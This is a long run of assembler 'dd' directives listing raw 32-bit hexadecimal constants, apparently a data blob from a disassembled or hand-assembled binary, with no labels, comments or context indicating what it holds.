dd 73AC4052h, 8240FDB5h, 25E849Ch, 30F2A052h, 543B9D00h
dd 0A24EBA59h, 71339000h, 4360B311h, 18F00BCh, 5B98BD14h
dd 9EFA7C66h, 1A44F898h, 929F3D9Ah, 9A427D13h, 0EF55090Ch
dd 0A45849h, 0F9E5276h, 0C866B131h, 178C4650h, 7EE788h
dd 0BE799575h, 0B1029D65h, 0A42024BEh, 426C875Ch, 1C353840h
dd 1C49EB71h, 7857804Dh, 0F2117Eh, 0E783A2CEh, 0A14EC8BCh
dd 589B1A17h, 0A30700C1h, 18C4F012h, 18007AE8h, 1DC1FF75h
dd 5352C5h, 28584BB8h, 6608A3A1h, 44E71924h, 0BCD85716h
dd 20C24E75h, 21EB5F90h, 0D110A600h, 19C87C45h, 2A4B0080h
dd 9E1BB1B2h, 1A2AA002h, 0DB444873h, 0D1525AFEh, 508B0A24h
dd 0E3564CFCh, 0E01FE97Bh, 0C7408E95h, 0FE4F8607h, 55C0A63h
dd 2E949A9Eh, 1D3B4094h, 0FF7268C7h, 1F33B000h, 0EE136C18h
dd 0E06F09BAh, 0C273A5Fh, 973E42D0h, 0EA004459h, 0F68FC9C8h
dd 5AA20020h, 9AA81439h, 11EF19Dh, 1ACA8253h, 8C91608Fh
dd 868E42Eh, 92889C65h, 5FD544D6h, 0F25EDC01h, 0D2F069B7h
dd 976517E8h, 263C0095h, 0EF98FF40h, 0E05DDC3Ch, 0F4FBFA91h
dd 15941D29h, 0C80E05E3h, 0EF606366h, 2A7294E1h, 58082812h
dd 6A4D8444h, 2218E289h, 0B469F87Ah, 0F1664200h, 13A3C4E8h
dd 0B57E19C0h, 0CB86EDh, 48158FC7h, 0CF5F7C2h, 9600C4B1h
dd 9FBFDF8h, 0C67F1D6h, 2BA0E00Eh, 4DA5B900h, 0FF00051Eh
dd 0BD70D494h, 0EE12B00Bh, 3258A966h, 0E54EFA10h, 0C78A1800h
dd 52055DB9h, 0A888B784h, 0D06925DCh, 9CF8A65Bh, 0E84CCE11h
dd 0E6246604h, 519404E9h, 2458A054h, 823190CEh, 68E59A69h
dd 0AC885258h, 0D91828BCh, 477215BFh, 0F0097C22h, 0B472F5EEh
dd 760B6003h, 0C86227B8h, 0BD684B1Bh, 0A953FF00h, 0CC24610Eh
dd 63101C87h, 0AD9D9CC8h, 1F131B93h, 0DF5E890h, 0A0213162h
dd 11C596A1h, 0F2158665h, 79C71FC0h, 93A167C2h, 0E6909811h
dd 0CFB486Ch, 4A910221h, 3915302h, 7C788B6Eh, 0CB0075E0h
dd 1677A657h, 98EDEFF9h, 0BF6E5058h, 0AD2C0028h, 95C6494h
dd 0F6E07097h, 3800B891h, 2865F718h, 13810084h, 119DBA94h
dd 0C90546DEh, 0D86678AEh, 294ACC32h, 0D200CCD9h, 0EF643788h
dd 235C0019h, 162A91CEh, 6914FE33h, 4F80C806h, 0F4934020h
dd 42500F3h, 5295242Fh, 25950964h, 0CD06D5Ch, 99A182EDh
dd 523F0798h, 434FA1D5h, 8AC7D4E6h, 9AD01301h, 8336A190h
dd 0ADEF128Ch, 0E386D4B0h, 8A0A6D10h, 0CA26C083h, 0A2970371h
dd 0C3FDDDCBh, 0D8663681h, 0B73944A9h, 0C0C8DC5Bh, 48C9F639h
dd 25BE047Dh, 0C4C2AEACh, 82F0444Ah, 80861FC6h, 3BC9CC98h
dd 0B4D0C4AFh, 40A1889Fh, 4AF1B900h, 0D7AC847Eh, 0BF4B03C4h
dd 166CC303h, 0B39289B0h, 2960665Dh, 6792FC12h, 981E1C28h
dd 301326ADh, 0EE350800h, 0F5D84E00h, 14A0E6Bh, 1679124Bh
dd 71CBF84Dh, 0AF2F3073h, 0C5D20404h, 64826DC7h, 87321E8h
dd 6FE7F801h, 4F43C4B0h, 735E9D22h, 24865DA0h, 5AC3F92h
dd 0D3EB21D7h, 50228DB4h, 0E7E129BBh, 42BD00A0h, 0F5F37C95h
dd 0CFC63506h, 20B876A6h, 0FA7DFE15h, 0AB2C23B5h, 43F088F2h
dd 0CC200C1h, 7740E821h, 92539976h, 6EB403B0h, 0F1C26958h
dd 40BA494Dh, 0C8764F78h, 53895950h, 0BFDF2520h, 0BD07A822h
dd 8AE81010h, 0DDC2E8DCh, 0B7D85669h, 0C08088A0h, 8911025Bh
dd 42A30043h, 2FB136B5h, 0A23322D0h, 0CCE9D8C8h, 0B400C0E6h
dd 63F3D6AEh, 0E70E2284h, 0DCF2797Ch, 8AB12A81h, 413BC2C4h
dd 0AB6DCAD8h, 0ED2471B5h, 86060D72h, 0B5AE1691h, 0A9B4200Bh
dd 7300E557h, 0CC38EFA4h, 71466Fh, 0ACA1CA1Dh, 0E8681A72h
dd 79D2225h, 0F1345EC8h, 0A9C59123h, 2E9B8078h, 0E47C526h
dd 0EE22ED23h, 5B03D20h, 0D804FBA8h, 0BAD07951h, 0F8BE5481h
dd 4E894608h, 40425030h, 22970A63h, 0C082B1F0h, 19C4E0Fh
dd 0B66F9BA2h, 62969562h, 14E80904h, 99CC49Ah, 0F8C250E5h
dd 0C8465809h, 0E4149227h, 0C29E0018h, 0E6120FEAh, 0A800F30Dh
dd 0FB36A6EEh, 4D2CE0F1h, 603B6495h, 58D622C2h, 0A1054BEh
dd 0E03BD9h, 9ACE46F0h, 2593F1C7h, 0EC1AC1EDh, 0E1AC5460h
dd 0B5624484h, 3F4A48C4h, 0A4E5AD04h, 0A50361D8h, 739E8251h
dd 339D80C4h, 1CE30774h, 4FFD237Eh, 533849FDh, 3098B885h
dd 0C3AF1E98h, 0E9B6100h, 0D855C7BFh, 58720B5Dh, 0E498F8D9h
dd 109FC17Dh, 0BA218h, 6E4FB16Bh, 77818A2Fh, 63D9E905h
dd 8408B5EFh, 499C645Ch, 0C40806Dh, 249A536Ah, 17F86F46h
dd 0EC343067h, 3148FF8h, 58EC3592h, 332BC0F4h, 0A33C22h
dd 0CFBC0E7Dh, 68D0350Dh, 1F642F48h, 0AF0A15A4h, 0FD89AC3Ch
dd 52F5h, 7A1BA1EAh, 0D7ADE544h, 81BBC807h, 3FD01E11h
dd 929B76Eh, 0FA869414h, 0CE283410h, 5C914D80h, 8CC814D8h
dd 902C44A5h, 718F2E9h, 0B239AFDAh, 0DB611057h, 0FE1EC47Dh
dd 0D7936A03h, 44B3E012h, 63C85200h, 4FD515Ch, 7200B4A4h
dd 85261F0Eh, 0B047AB87h, 6F7E04B0h, 85CDFCD4h, 1F60A25Ch
dd 1C8E9913h, 2F6D6052h, 358627h, 65029EBBh, 41DD2DFFh
dd 0A8EA80BCh, 0DC8B610h, 0E8684D89h, 2E5C6D2Ch, 4038F699h
dd 0BD597941h, 5873F712h, 33E6BC04h, 0A49E8C48h, 0F6AD1440h
dd 7C0C36h, 0DA22EC50h, 76FBA034h, 0FED75812h, 0DDC0201Dh
dd 78249952h, 3CD5F435h, 57B0F3E6h, 764A9F0h, 0E8365002h
dd 61589B1Ch, 0FD0DEFACh, 8AD018Eh, 2C2650C0h, 894731Dh
dd 8A10D94Eh, 944CF853h, 4378E449h, 0DD3E1083h, 47708A00h
dd 0FBD21868h, 9A8EE404h, 4A3918Bh, 1A9FF905h, 0D2D0CC6Bh
dd 1209E188h, 819BD166h, 158895ECh, 0F4D97807h, 6C808415h
dd 161073D6h, 720E25h, 3AAABB86h, 0AB3B9861h, 29658015h
dd 7D4F1418h, 59AF277h, 0C7BCED79h, 0A2A884D3h, 432E0014h
dd 0FFA38B39h, 0F69B000Bh, 0FC1BCC7Eh, 0D4094F41h, 82F5CB37h
dd 11E03424h, 0C054729Ah, 2215BA90h, 8ECF0065h, 0FFF39E50h
dd 5476BF52h, 413D6627h, 4D1057BCh, 0B8A8190Eh, 0B980D67Eh
dd 0D4960082h, 4DED3734h, 6400AACFh, 0C9F806E8h, 353E0E4h
dd 5E85F46Eh, 1002E619h, 0C89990A6h, 8B6C48FAh, 2411978Fh
dd 246A0D3Eh, 842C8504h, 0A4680820h, 885CDC84h, 61DB3E5Fh
dd 281E6904h, 832578E0h, 12B3D4F8h, 2094CB30h, 845E43FBh
dd 0A325847Ch, 0F68850B0h
dd 888A3444h, 0D6002B9Ch, 2FBCFA20h, 7597335h, 627B2116h
dd 42683145h, 3C4C6082h, 407999B8h, 50ADCF01h, 999D4427h
dd 203421h, 0B390C0h, 2516A821h, 59710F97h, 98466119h
dd 2A0C22B1h, 2E4CCE54h, 20738140h, 0C0A011A1h, 1E00318Bh
dd 0F13980CDh, 7FF574h, 83B5ADFAh, 294BBD91h, 168DD500h
dd 0EABA43F2h, 3F530051h, 6856F3CFh, 17128BF6h, 0D80FA5FDh
dd 82C344A8h, 0B27E565Fh, 5C428030h, 1B869h, 0DA53CB48h
dd 0A87BF3BCh, 5495A424h, 12E6213Fh, 74E76Fh, 2F2970B5h
dd 4F82A1Ah, 429D648Eh, 29C8117Ch, 0DE91D443h, 0A6526D00h
dd 15AA240Ah, 7440F54Eh, 22323FFFh, 35C41CB6h, 74F24069h
dd 55C76C2h, 0C988EE2Fh, 0F109DFCCh, 99C91715h, 343283D8h
dd 0FC7B8B84h, 5AD8264h, 19745183h, 0DCFB39CBh, 0A109DA69h
dd 45B5157Ch, 4D8B04ECh, 30A852A6h, 2B479780h, 0B100076Bh
dd 0E665C805h, 0EEACAB48h, 8C34A96Fh, 6880806Ch, 0C84DECE3h
dd 7221CCB8h, 0A8283F9Eh, 0C0981F14h, 812F525Fh, 0E87930h
dd 9D04FBFAh, 0C0231420h, 0C49E03FCh, 3A7753h, 30FD7DABh
dd 70795E3Dh, 6FE0AB0h, 0E4497227h, 12A7701Ch, 8B0DFBF6h
dd 8E4248Ch, 5FC8BC10h, 2F6BDC85h, 0AC9214ECh, 8CC5A008h
dd 3FE4733Ah, 5C0075ADh, 0E03E1E6Eh, 0D620E8B0h, 0ADD7405Dh
dd 8CE2934Ah, 39D07C09h, 1819ED82h, 0E5ABE3E0h, 0E1A150A0h
dd 0D71CA500h, 9B18936Dh, 3BDE8F9h, 3FDE69A7h, 82A268CEh
dd 3237C484h, 1CFA25B9h, 47D4D3F8h, 944BF644h, 0C804ABF4h
dd 44CC0E6Ah, 8C6B5CDEh, 839011h, 81A15263h, 2CFF8955h
dd 11406FE5h, 16FE1317h, 544CE4A3h, 95882321h, 0B9AD008Eh
dd 457AA253h, 8894024h, 0AC146371h, 10A18058h, 0E1088Bh
dd 0F5BF777Eh, 1D2422FBh, 6020AD4Eh, 0B6FACAh, 0B4E89C20h
dd 4498DE99h, 9F5CE748h, 51E542C0h, 40DD53Bh, 0DF6AE95Eh
dd 0C4D0D420h, 888C165Eh, 6400BB14h, 3358433Ch, 710EDB5h
dd 8241177Dh, 6B8A2185h, 0A150287Eh, 782070BEh, 274801B3h
dd 0C6F8CBAEh, 848BD68Eh, 0C8285C72h, 3343D476h, 0BC809622h
dd 2849068h, 7537765Ch, 20E05472h, 3A842E0Fh, 0DC407894h
dd 0D2EC535Ch, 913EBC0Fh, 1AFB2A0Ah, 0B09B1354h, 0FA88D2B4h
dd 8F25224Bh, 0F1289604h, 3CC808FBh, 0AAF473h, 74D4607Ah
dd 0B6851A16h, 0E804765Ah, 1E22F8C2h, 1286E213h, 78103255h
dd 0BAA22098h, 27250DF0h, 80A87133h, 96DBE621h, 7400B18Ch
dd 0FE163E57h, 9EF8F5CCh, 0A40B27F0h, 0F240458h, 0CE64E0E9h
dd 0D404C84Bh, 56393298h, 0BA24E0DCh, 0D7000E8Bh, 0CF726FF0h
dd 49DE6A01h, 405390BFh, 0B79D8400h, 7E510442h, 0F07D4403h
dd 0A5564EC6h, 0A93488h, 20F16F5Ch, 9F112214h, 3F2C29F2h
dd 4100BE67h, 924C5912h, 0F971131Ch, 8498D0F5h, 2B33E15Fh
dd 88E04EDDh, 1169555h, 6D14F59Dh, 338F943Ch, 5EC26F0h
dd 9D4C827h, 2A2001Fh, 0B8D9D6B2h, 5E00476Dh, 0EFF04F32h
dd 2C6B7BDh, 1AA0BEFEh, 0C844512Fh, 0F051CB65h, 0B44888h
dd 0A0BA749Dh, 0D38C928h, 92329F02h, 5661AE03h, 0E2051D20h
dd 17E8D881h, 131CF320h, 1492165Eh, 1E10B2ABh, 0DD409F1Fh
dd 54B06135h, 0F7D827F9h, 0C2750090h, 3D42ECB8h, 68C59027h
dd 0F2EA4703h, 0B59AC8E3h, 88E000Eh, 0C3C90C12h, 0B726BE1Ah
dd 13153825h, 18182570h, 8019B98Ch, 9426CC53h, 0E6627411h
dd 0D264496Ch, 0B8AAF20Ch, 2A4044D6h, 7DD06Ch, 0ED78DCD7h
dd 0DD7AF055h, 0E6038F0Ah, 642F9067h, 1626028Ch, 0C625F808h
dd 741AC60h, 0D72E100h, 3BADDA68h, 5237005Ch, 0A549316Dh
dd 5A60D44Ch, 0EF8A4010h, 0BCCE0203h, 0D56A8B8Fh, 0F780D0F3h
dd 59084FADh, 0A5EF0096h, 12890E94h, 9104B03Fh, 0C49E90E6h
dd 3CAE8081h, 12836E0h, 21207C8Eh, 8039E153h, 0BCE9A08h
dd 0E02A1581h, 0E50D01A8h, 0CD82EF27h, 202080F9h, 0DE017A28h
dd 0D0EE03FAh, 98177F3Fh, 13994907h, 11AC2B77h, 0E2B300BBh
dd 0EAACEF93h, 0A400225Bh, 2BC68E65h, 31D30BD5h, 0DA5933B9h
dd 21088029h, 4DFA25Bh, 376E03ACh, 0EEE18038h, 90FE28EEh
dd 15E52800h, 7C475E31h, 0A87200CDh, 6554E7Fh, 530093B9h
dd 622A36FEh, 0A085F2h, 0A2B5F29h, 892CE93Ch, 0C91AE00h
dd 0A2073746h, 0BB6E0040h, 8DBDB633h, 0AC00216Ch, 5CB0351Fh
dd 350287Ah, 83611CFBh, 2BD80E99h, 0F31E8247h, 0B0B18F6Dh
dd 0F180AE4Ah, 7C8D9A70h, 0E072CBF9h, 0A83CA402h, 8044A327h
dd 9D384BE9h, 0A80D51AAh, 0A2F3AC00h, 24F9CF1Eh, 8AC4058Ah
dd 808C25CDh, 7D36C0A0h, 200E9E3h, 928611A7h, 0A61A336Fh
dd 80B303BCh, 7BB9763Bh, 0F0A4FEEAh, 0F37A406Eh, 0A4E0F6DFh
dd 0F17E00A4h, 4EE46E79h, 0D100C66Fh, 0E535840Ch, 187849CAh
dd 990BA7F3h, 49C08C4Ah, 692C8775h, 6FAF0006h, 0F8D4A493h
dd 21C0804Ah, 6D754835h, 0F5B4001Ch, 0EC49CB46h, 23009A55h
dd 41BB8921h, 0C3828CF1h, 18A0D331h, 7381E902h, 46B2B96Fh
dd 0D3924450h, 0C640B548h, 61999A5h, 0AB6FBAB1h, 864489B8h
dd 7C77810h, 0F588267Fh, 0A0D4501Dh, 4400EF62h, 6FCF0C3Ch
dd 35EAA3h, 3FAB4056h, 34D8D5B5h, 54AC0301h, 0CFF14AE3h
dd 43B23440h, 0D8D20464h, 202BDD4Dh, 3A76655Dh, 96817AB4h
dd 2A3A25A1h, 26C88871h, 546B445Ah, 4002C064h, 74DE26h
dd 0CA9DC11Eh, 460F0D87h, 1AE4123Dh, 0A4414AE1h, 1C47180Ch
dd 15F4619Dh, 0F3D040FDh, 0F97D9Ch, 48B4AA3Eh, 2488A8EDh
dd 0B751FF80h, 1ABC86h, 0C02C0C81h, 0F1CCD7F7h, 7413A0A0h
dd 2923B80h, 587A7832h, 0A89809BBh, 0D3E09DD9h, 0A780F300h
dd 0D1605F66h, 40E1297h, 0C988232Ah, 0D373710Ah, 7C40ECB4h
dd 0CB56BDDh, 557AFCB9h, 1D22D1C0h, 846D2AD5h, 0CCEB1D1Ch
dd 16A20C62h, 17F87741h, 6C9BE124h, 1E3188A0h, 0F2CD2169h
dd 250129BEh, 1D701FA5h, 6A75DCA9h, 3E944301h, 42EE1C32h
dd 40316830h, 2D1F294Ch, 0FCC03318h, 98B2BB61h, 89D6584Ah
dd 27196400h, 3E1FBEA9h, 96F42309h, 125C841Dh, 28226032h
dd 4668468Dh, 0B9FF02A2h, 2FE36B3h, 0BD2099A8h, 0F212DD33h
dd 9335001Ah, 0EF9DBDAh, 960F15E4h, 64F28D5Fh, 44C8217Fh
dd 0CBDC02B5h, 7212AAE9h, 5B0A3040h, 0B2A24484h, 0DCFBE8A0h
dd 50695A80h, 1AF86E8h, 41262EA7h, 0F4AB74A3h, 0D4006E39h
dd 0CC23A29Ah, 0C0EFCD91h, 7DEAC1B9h, 2262EC47h, 115AF668h
dd 7BD1259h, 2404F833h, 509038FFh, 0A4526EF3h, 457912E8h
dd 0FE1600EBh, 0CD196A12h, 0FF324E00h, 18E129ABh, 3CD200F5h
dd 0E417EA27h, 0F062CD90h, 0F7F8BE89h, 1155D4E0h, 3F805900h
dd 0ED2DF247h, 6F5F064Dh, 80DAB1F0h, 16620D11h, 2C256D11h
dd 4D40444Ah, 0C66293h, 92BD26A2h, 0CF752B7Eh, 0FD397910h
dd 13EEB511h, 0AC25A428h, 0D11F5801h, 0E18037E6h, 832F6AADh
dd 74583D34h, 21A9CF9Ch, 7C08C13Bh, 42D81460h, 838A7829h
dd 31DB670h, 1BA94F69h, 1106A5EEh, 55646021h, 8217E698h
dd 0F3A33C40h, 47363900h, 76B319C6h, 3AD70010h, 0DBF06282h
dd 430B88A8h, 801C08B5h, 1B6BE3FAh, 0A9763E3Dh, 105C40A4h
dd 9435C9E6h, 0ABDB0010h, 5268B7ECh, 0F602268Fh, 646C2DC2h
dd 73BB02C1h, 35062407h, 892904F1h, 9014A6D3h, 25812378h
dd 82601E58h, 912AA0F3h
dd 0FA108BC4h, 0D90367E2h, 5E7699C0h, 0AE85F09Bh, 8DD50019h
dd 182F78CCh, 0F601E23h, 74894049h, 0C32CB079h, 4622CD20h
dd 0A9F1700Ch, 4DE159D2h, 3400ACF2h, 92ABED5Ch, 6400361Dh
dd 0A2B07145h, 980C37Bh, 0C6FC70A5h, 26A36C01h, 0C65A12FEh
dd 0DA3F4434h, 6AC12260h, 66050Bh, 643BA1ECh, 9095971Ah
dd 0D8A90D07h, 4C51A5FDh, 94704868h, 0C264883Dh, 2E9CD400h
dd 5090CB79h, 66470094h, 238ADA4Bh, 10000A73h, 0E6BADB9Bh
dd 0B05A211Eh, 2FEB21E0h, 91E1C43Dh, 652E00B0h, 0C0FCA892h
dd 5AC293Eh, 287118A4h, 599F009h, 0BC22AB38h, 443621AAh
dd 0BB1BC004h, 73276900h, 62D71C6Ch, 5E998F6h, 7AF55B0Dh
dd 5A604E9Ah, 3DEDAFh, 509E39F6h, 5EF81C2Dh, 0B57DD600h
dd 0FCB1C899h, 72491428h, 0AA0AC0CCh, 44A014A2h, 1B3A4021h
dd 108CAC3h, 0F39F54DFh, 0F996B233h, 0EDB0ECE3h, 36808CB1h
dd 9F45BBC3h, 1E7A0E46h, 8A410BDEh, 40DDC1F4h, 0E63B2E90h
dd 8867CF80h, 0F360CD7Ah, 0B17DCE79h, 3DA0004h, 0F0CA914Bh
dd 0A01BB93h, 0E5360685h, 0A0CAE12Ch, 68BFBAA8h, 0FE6F0077h
dd 4DBE12DAh, 0E77E033h, 7C12367h, 0F1B71FA7h, 0B89D1053h
dd 2C2F8DFh, 780EEB02h, 48607976h, 6084B268h, 821D6117h
dd 0CB06FFAEh, 0CF3E2B77h, 58E048E8h, 0B64EF680h, 1B03709h
dd 5D268100h, 48E654F5h, 0D70B4892h, 0E39BC706h, 8003E122h
dd 0B4144ED3h, 8B30D95Eh, 2B2BCE0h, 4368F589h, 0E5E2CF2Ah
dd 48B82087h, 99000591h, 5C83A757h, 0C31E0F76h, 1B40508Fh
dd 0F3E28ED2h, 60544CDBh, 881E5C10h, 3BE14392h, 0DAEB4903h
dd 881C5499h, 24EECB7Dh, 443C1F7Ah, 0B83D40A9h, 47C1E9Fh
dd 0B2B4791Ah, 0FEFA8335h, 782EE7D0h, 100096B8h, 73164802h
dd 0BA359B2h, 83778ECCh, 8198B488h, 0DB755679h, 94B44178h
dd 405808BBh, 0D8B84016h, 126C8D44h, 83800BB5h, 693DE27Ch
dd 2A24409Ah, 2AC0FC19h, 445CA6F3h, 0DD00D2A8h, 2152CDFh
dd 966B44h, 0B2FF41B3h, 54C9A578h, 4AD6CD13h, 5E824405h
dd 2B851480h, 0DB41C0A7h, 3E9E74FEh, 0B2417503h, 304CE925h
dd 0C0207952h, 1AF6836Fh, 0C033EC91h, 2855A48Bh, 4474902Ah
dd 0A7002861h, 7EB803D0h, 0C0F1E154h, 2EA84BC9h, 2C005194h
dd 0F7FDD2Fh, 0AD5E8FAh, 0DA6249D3h, 8094A9A4h, 0D9F08F56h
dd 7801A73Bh, 4A339770h, 98F8C936h, 0E1FD2E59h, 18AE00DCh
dd 8B7F55A5h, 0CEB8CD09h, 0A2FC82A7h, 7AB89011h, 0D3500F1Dh
dd 74401B1Ch, 0BB2AE86Ah, 29753200h, 0EF6941FAh, 16E6908Bh
dd 0E06CE6Fh, 37E8D2A0h, 9978F38Dh, 0C863BE0h, 0DB8EF126h
dd 0D870B261h, 27D3B8ABh, 80762938h, 6660383Eh, 73F554F6h
dd 621E034Bh, 0D04264FFh, 26DA6018h, 24BA5931h, 451B80h
dd 69C3FE5Bh, 0AA09686Eh, 603D6CFDh, 8954A6C8h, 22E9C05Ah
dd 4CC8854Ch, 10F97D70h, 4979655h, 2B6DEEE2h, 19730099h
dd 0B0A5CCBh, 0A628045Dh, 0D6FD2490h, 5D38223h, 0FF02FF2h
dd 0A7E03528h, 0AA764A70h, 0A2EEE90Ch, 728955h, 818E1319h
dd 46A3797Dh, 0C19D1F03h, 0C22B99BFh, 190882CEh, 761487FBh
dd 83290100h, 7A2BE85Dh, 40630089h, 1DDC85ECh, 0D778AAA0h
dd 0BC43DB4Eh, 0F8AF117Dh, 162237Fh, 0DE9CA1ACh, 9C8F22B9h
dd 43803F78h, 11D9C924h, 0B4D200F9h, 49910F09h, 8D00DCB5h
dd 53E6FC2Eh, 0B12BA87h, 0EEF4192Fh, 2EF80814h, 0E026B507h
dd 2300D466h, 1F1370F9h, 493F90AFh, 35856F33h, 0D1849130h
dd 0A07A10DBh, 1A5E1DDCh, 6F73C0BEh, 0A28DF11Fh, 2344C094h
dd 0CC492943h, 0B1013A7Ch, 0E7FCF143h, 7C72CD30h, 93498900h
dd 5ABE0646h, 79225400h, 58BFAEE5h, 738C0343h, 37CFE1FFh
dd 0A9AA8911h, 42F487Bh, 166F1A81h, 0D00C80C4h, 0CC8048D8h
dd 5C837CF6h, 916B9CDDh, 4BA0081h, 0D0850454h, 2B40F830h
dd 0EF1A0372h, 370225E2h, 77C6148h, 0DFAD78FAh, 4AD46189h
dd 89033432h, 3E295465h, 30702FE0h, 2E560400h, 6016CB8Ch
dd 0F0C2138Bh, 0AC6488AAh, 360BB709h, 1A2C85CCh, 0E81DE8C8h
dd 0E37900DFh, 7B09E1CFh, 0BC01D264h, 7F73AE0Bh, 0D6F525E0h
dd 0EBF08048h, 33183E00h, 0B7003A70h, 0C1EBE21Fh, 3835B78h
dd 0CAFB59D2h, 810118DAh, 3681543Bh, 0A852E0FEh, 0B6D321A8h
dd 221422FAh, 2CF1000Bh, 6DC4990Ch, 0DF041830h, 56A9B7AAh
dd 202204D2h, 8C257DC6h, 17A6EE00h, 7770FE64h, 823B0935h
dd 0F002ABD8h, 0F094720h, 859708B4h, 81B1AF6Ch, 31A36009h
dd 20B4040Dh, 73AA3EDCh, 250E2891h, 0BB6842A5h, 7814604Ah
dd 0A7C08A0Dh, 0A1DDBB5h, 6F3D5541h, 6702C019h, 0DD53F7E3h
dd 8EDD87E0h, 502AF71Dh, 23421132h, 602BAD3Eh, 83393491h
dd 314D03E5h, 7B2FB949h, 3EB06883h, 0A80B78B7h, 37C57C3h
dd 1A0FA76Ch, 41182469h, 0A491C050h, 6FAF7881h, 0D42DB767h
dd 40123422h, 2C083D1Eh, 8357476Fh, 410327CDh, 63D0DFF4h
dd 0ACAAA8D7h, 4CFA0013h, 1A8DE65Fh, 230CCE5Eh, 7922260Dh
dd 880B5678h, 0CE4AB002h, 0E0708146h, 98527721h, 764039CAh
dd 5BC4AE01h, 7731519h, 0F86067F1h, 0ACD916DEh, 97040855h
dd 83287A80h, 2BC761h, 0BC026450h, 0D701F61Fh, 1A5C4F00h
dd 87D32FF7h, 0DC7A14EBh, 1403F896h, 4F6FF383h, 1F1AA101h
dd 79BB33CDh, 7D28C6E6h, 0A1901Eh, 6ACA17E1h, 2B588EE0h
dd 0B8C0FFECh, 425C0153h, 0B8BB17AAh, 3488081Eh, 3580529Fh
dd 68EEC25Eh, 0FC310036h, 0EA30B28Ah, 90009817h, 0B8E1D248h
dd 0E0E4D49h, 5F82D7B5h, 0B9282D80h, 0A6F8A80Ch, 0FD27501h
dd 0E30EFFBEh, 0CFE80AF5h, 0AEAA00D0h, 663734C0h, 76EEAB83h
dd 0BA1D0428h, 12D4531Dh, 186F00BAh, 159EA3E0h, 0DE81Ch
dd 34BBA0F2h, 0AD3871BAh, 2FBDD603h, 0B868C763h, 890872h
dd 40F7D110h, 2218716Ah, 48774B01h, 0F45DA342h, 7FC04083h
dd 81BCCDF7h, 0FC83075Ah, 0E800A63Fh, 4D3C6312h, 60A21EDCh
dd 0F913710Ch, 0A00AE6Fh, 0C4FD2D95h, 25156148h, 5DCB18Dh
dd 0A3FBC603h, 6F311C13h, 695B009Ch, 8AB3BA21h, 6E75BC00h
dd 3EB015D5h, 1129C3E4h, 0E0A3C37Ch, 0D305AFC1h, 87E11919h
dd 11810EB0h, 3E3CC685h, 3B6BD01Dh, 0FD1AEA00h, 9A67392h
dd 0E808611Ch, 88108C42h, 27EAD1h, 4CBB9DE9h, 74003D13h
dd 9EE34DEFh, 0CBC15BFh, 7E79107Bh, 5064081h, 0F7DA1250h
dd 10A43089h, 47244581h, 8F906A00h, 0E485AD1Fh, 2B4339A8h
dd 6B3FCD80h, 0E85F8EF5h, 3AFF91Dh, 76227028h, 18CD989Fh
dd 10AB3847h, 19C7B99Dh, 9A805208h, 0B529E3h, 56172E64h
dd 0F883D96Bh, 48C81350h, 0A3BBF008h, 0AF478FEAh, 0AD00A9AFh
dd 1D714D5h, 89C60D1h, 3F76489h, 7C3C18E0h, 85E0E2C3h
dd 3530C020h, 10B0E1ECh, 898A6374h, 190090D9h, 0A1EDE97Eh
dd 6E1C80h, 74350A7Bh, 2A85AC96h, 854A243Eh, 0A5A31E6Bh
dd 0C3437404h, 0E7372020h, 0F7DBF804h, 18C06D08h, 0BE5825h
dd 5C4E9413h, 3DBAF9BFh, 3A4F1800h, 0AAF5D741h, 0E4C050DBh
dd 357E0251h, 27AD7463h, 0F5090440h, 0D9C3F9CCh, 2DE04FDh
dd 0EBDB456Ch, 28757300h, 0B017BC81h, 0A4EF5116h, 0CDAA9C0h
dd 0B09AC083h, 53003BA1h, 0E7DB6310h, 0E57A8h, 98C7870h
dd 49E6ECCAh, 0A084C3B0h, 52E7C303h, 0E0F4F3BEh, 0A99D2B5Dh
dd 0EE1085E0h, 0E1035672h
dd 0E6C9F44Eh, 3205B0A2h, 0F95B0010h, 266289EDh, 6F0039B2h
dd 83C120DEh, 0C3A27411h, 0FFA5A841h, 0C3CC90ECh, 0C4A8BC20h
dd 7D00F606h, 4165DDBEh, 0A3CE9A2h, 0DC3EAFF8h, 0A6C080BCh
dd 0A967DB4Ch, 8BA810A0h, 0E0989354h, 7B22ED00h, 2E44F4EAh
dd 0E69D485Fh, 39AA92Eh, 14B55EACh, 0A3221114h, 15C01E14h
dd 0EBE07B40h, 6048DAF2h, 866951FCh, 73005F18h, 499C7EB7h
dd 1FCAE779h, 0D5E27Fh, 3C38A9BBh, 0D4F74206h, 9C00956Ah
dd 0BFC2B59Fh, 3AF350Bh, 56D9B0C7h, 0D0A7ECE5h, 1EA3745Eh
dd 0CD7DEF00h, 0B8DF2702h, 52E3004Ah, 0C93CDB72h, 0B405B0C1h
dd 8ADA57ECh, 4EB59040h, 776DF4CEh, 0C265007Ch, 0FF58E42Fh
dd 56756B8Bh, 64058403h, 0A01E95D4h, 3EF90EAh, 0E362AC5Fh
dd 49F0F951h, 0EB006DFFh, 8455C30Ah, 0E5F6A3h, 1551A971h
dd 66617B2Eh, 0D00C8579h, 2804BED5h, 0DE8F78B5h, 69FC0D30h
dd 8516F008h, 591FAD0Ah, 0D500A7B6h, 0E1789DDFh, 0EA20C14Dh
dd 0C0442058h, 4F0076A0h, 89FC146Eh, 0C0E19A7h, 3D0A6773h
dd 0D6606B89h, 2A707D61h, 0D8F487h, 4BC366FBh, 0BAF1F8D2h
dd 89A05900h, 0FD8FA9F3h, 0EE00679h, 0A9BF4D63h, 8C00CC98h
dd 4829B376h, 35E97ACh, 40AAA238h, 27D0E022h, 6E3B7EE4h
dd 625A8046h, 0BAA5598Bh, 5EDB1560h, 0FC182C08h, 0F198E96Fh
dd 1DF66B0Eh, 546E476Ch, 718C8BC0h, 0C13660EBh, 7C0A3B44h
dd 540138F0h, 4CDBF713h, 6FC4FBEBh, 0AD3F306Ch, 71C48B28h
dd 0DE88B518h, 6F6763F1h, 3503C137h, 793E5458h, 17B70632h
dd 38E8E9A9h, 29600D67h, 4E570FEEh, 0A2EF8300h, 32ADC2B9h
dd 0D0733885h, 8DC8DA9h, 0C880C58Ch, 0AFE70FE9h, 3235F6B1h
dd 4A697D5Dh, 6647A090h, 67885B00h, 13E79E9Ah, 4B8207B1h
dd 3018D081h, 78AE60D3h, 0F78B713Fh, 9101C137h, 0D6EFFE0h
dd 39A71C38h, 5E183A0Bh, 0AD89A863h, 9600F0A6h, 4A3C2A22h
dd 24C9158h, 8C7D43CAh, 0E2E06CACh, 630C6F07h, 307B33ECh
dd 0A018055Ch, 8684335h, 91808C58h, 0D972E7C7h, 0E8970C33h
